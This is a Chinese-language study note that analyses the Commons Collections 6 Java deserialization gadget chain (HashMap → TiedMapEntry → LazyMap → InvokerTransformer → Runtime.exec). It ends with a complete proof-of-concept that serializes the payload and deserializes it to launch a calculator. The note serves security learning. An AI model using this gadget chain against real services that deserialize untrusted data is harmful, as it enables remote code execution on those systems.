CC 6 应该是CC1 和 URLDNS 的综合,有一定联系,审一下吧
JDK版本需低于 8u71 AnnotationInvocationHandler
类的readObject()
方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6
cc1 的LazyMap链子 readObject -> 动态代理 invoke() -> get () -> transform () ,而在8u71 之后,readObject 变化了 ,不能再用此方式调用get ,需要另找出路。
看看公开链子:
- Gadget chain:
- java.io.ObjectInputStream.readObject()
- java.util.HashMap.readObject()
- java.util.HashMap.hash()
-
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
-
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- org.apache.commons.collections.map.LazyMap.get()
-
- org.apache.commons.collections.functors.ChainedTransformer.transform()
-
- org.apache.commons.collections.functors.InvokerTransformer.transform()
- java.lang.reflect.Method.invoke()
- java.lang.Runtime.exec()
-
通过TiedMapEntry.getValue()调用 get() ,其中key为传参, 可以根据 TiedMapEntry 类的构造器获取, 因为我们需要把 LAzyMap 后半段的链街上,所以要调用的是LazyMap的get()。
- public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
-
- public TiedMapEntry(Map map, Object key) {
- super();
- this.map = map;
- this.key = key;
- }
-
-
- public Object getValue() {
- return map.get(key);
- }
- }
这里我们需要把map = Lazymap,触发 LazyMap 的get() 方法
先构造一下基本的链子,前面跟cc1 的Lazy差不多,需要满足map=LazyMap,所以需要实例化一个TiedMapEntry。由于我们用的是map 所以这里的map传的是我们 LazyMap.decorate过后的outMap,也就是相当于传入了LazyMap。因为我们用到的是 map.get(),而key 是什么 并不重要。
- public class cc6 {
- public static void main(String[] args) throws Exception {
-
- Transformer transformers[] = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- HashMap
-
- Map outmap = LazyMap.decorate(map, chainedTransformer);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(outmap, "snowy");
之后再看看哪里调用了getValue()
在本类中找到了 hashCode() 方法:
- public int hashCode() {
- Object value = getValue();
- return (getKey() == null ? 0 : getKey().hashCode()) ^
- (value == null ? 0 : value.hashCode());
- }
好熟悉的 getKey().hashCode(),审计过urldns 的就清楚了,这是在HashMap中的hash方法中调用的key.hashCode()
- static final int hash(Object key) {
- int h;
- return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
- }
而HashMap类中重写了 自己的readObject() 方法,在readObject中调用了hash
return putVal(hash(key), key, value, false, true);
而我们想要调用 TiedMapEntry.hashCode ,所以我们要给key 赋值 TiedMapEntry 。value的话就随意了,所以就需要通过put传值
hashMap.put(tiedMapEntry,"snowy");
至此整条链子结束。
到此处就已经弹出了 计算器,也就是在给map 和 key 赋值完,就会弹出计算器,并且还会弹两次。
这是因为我们在 put修改值的时候,其实就已经调用了hash 方法,接着一条链就调用了
如果我们不想让他执行,可以使后面的chainedTransformer 为其他值,然后需要的时候再改回来即可:
Map outerMap == LazyMap.decorate(map, chainedTransformer);
改为
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
因为是LazyMap类的调用的这个地方。
- public static Map decorate(Map map, Factory factory) {
- return new LazyMap(map, factory);
- }
而factory 是protected final Transformer factory
所以我们要反射爆破修改其值。
- Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
- Field factoryField = lazyMapClass.getDeclaredField("factory");
- factoryField.setAccessible(true);
- factoryField.set(outerMap,chainedTransformer);
- package CommonsCollections6;
-
- import com.sun.corba.se.impl.orbutil.ObjectUtility;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class cc6 {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- //使其不自动调用
- Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
- TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
- Map hashMap = new HashMap();
- hashMap.put(tiedMapEntry,"Sentiemnt2");
-
- //反射爆破factory
- Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
- Field factoryField = lazyMapClass.getDeclaredField("factory");
- factoryField.setAccessible(true);
- factoryField.set(outerMap,chainedTransformer);
-
-
- //真正的触发计算器
- serialize(hashMap);
- unserialize("1.txt");
-
-
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
- out.writeObject(obj);
- }
-
-
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
- Object o = In.readObject();
- return o;
- }
- }
督促自己要多打断点 发现问题,而不是总参考其他文章。最后使的自己没了解透。